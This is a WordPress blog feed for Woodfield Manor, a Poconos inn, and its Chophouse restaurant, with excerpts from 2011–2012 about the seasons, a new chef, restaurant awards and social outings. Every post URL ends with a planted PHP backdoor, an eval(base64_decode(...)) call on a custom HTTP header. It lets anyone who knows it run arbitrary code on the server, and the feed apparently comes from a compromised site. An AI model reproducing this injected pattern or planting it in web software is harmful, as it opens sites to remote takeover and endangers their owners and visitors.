http://woodfieldmanor.com/wordpress Woodfield Manor and The Chophouse Thu, 12 Jan 2012 21:57:51 +0000 http://backend.userland.com/rss092 en For some days now I find myself blocked about what to write for the first blog post of the new year. When I put pen to paper there is nothing. So, instead, I'll backtrack to New Year's Eve and write about our celebration at the ... http://woodfieldmanor.com/wordpress/2012/01/12/looking-back/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Well, once again on the eve of a new year, I find myself reflecting on all that has come and gone in 2011. Two weeks ago another solstice sun had risen and winter began with the slow return of light. There is something special about ... http://woodfieldmanor.com/wordpress/2011/12/31/the-happiest-new-year-to-all/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Just a few days ago I awoke to a golden morning, promising blue skies. It was glorious! But I think that might have been autumn's last warm day. Today I can feel winter just at our doorstep waiting to settle in. Of course, there are other signs of change. The ... http://woodfieldmanor.com/wordpress/2011/11/10/a-time-for-change-and-good-things-to-come/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ We are very excited and pleased to welcome our new chef, Dave Edukaitis to head our team at the Chophouse Restaurant. Dave comes to us from the position of Executive Chef at BB Kings' Blues and Grill Club. Dave's menu will reflect a "farm to ... http://woodfieldmanor.com/wordpress/2011/11/08/105/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The winding down to the last warm summer days are now behind us. September brought the first cool days of autumn early this year and the experts say our leaf color may not be as dramatic as other years due to this summer's generous rainfall. Thank ... http://woodfieldmanor.com/wordpress/2011/10/04/103/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The Chophouse at Woodfield Manor was once again identified as an award winning restaurant during Pocono Restaurant Week 2011. Votes were collected earlier in May. The Chophouse at Woodfield Manor won in two catagories including: Best Atmosphere and Best Steak in the Poconos. ... http://woodfieldmanor.com/wordpress/2011/06/08/chophouse-at-woodfield-manor-wins-best-steak-and-best-atmosphere-during-pocono-restaurant-week/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ By April and May Keith and I are well into preparing for the summer season. Cleaning the grounds of winter debris, mulching the beds, opening the pool and spring cleaning the hotel fills the weeks leading to Memorial Day, the official start of summer. We ... http://woodfieldmanor.com/wordpress/2011/06/08/what-a-way-to-end-the-month/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Traveling the back roads, not far from Woodfield Manor, is what Keith and I encourage our guests to do. With rolling hills, deep forests, mountain views and abundance of wildlife, it makes for a great afternoon road trip. One road to follow is one that ... http://woodfieldmanor.com/wordpress/2011/04/25/a-relaxing-ride/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ On Valentine's Day, Keith and I spent much needed "friend time" with a wonderful group of people we've come to know and love at the 6th Annual Booklover's Ball. Held at the magical mountain lodge of Skytop, it was an evening filled with 5-Star dining, ... http://woodfieldmanor.com/wordpress/2011/02/24/a-great-time-with-friends/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Well, here again I find myself turning the corner of another year. I hope all our friends at Woodfield and Sundance had a warm and fun holiday. Ours was filled with inn-keeping and guest-caring, tree trimming, time spent with family and friends, Christmas parties and a few visits from winter Nor'easters. We received another ... http://woodfieldmanor.com/wordpress/2011/01/21/a-new-year/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/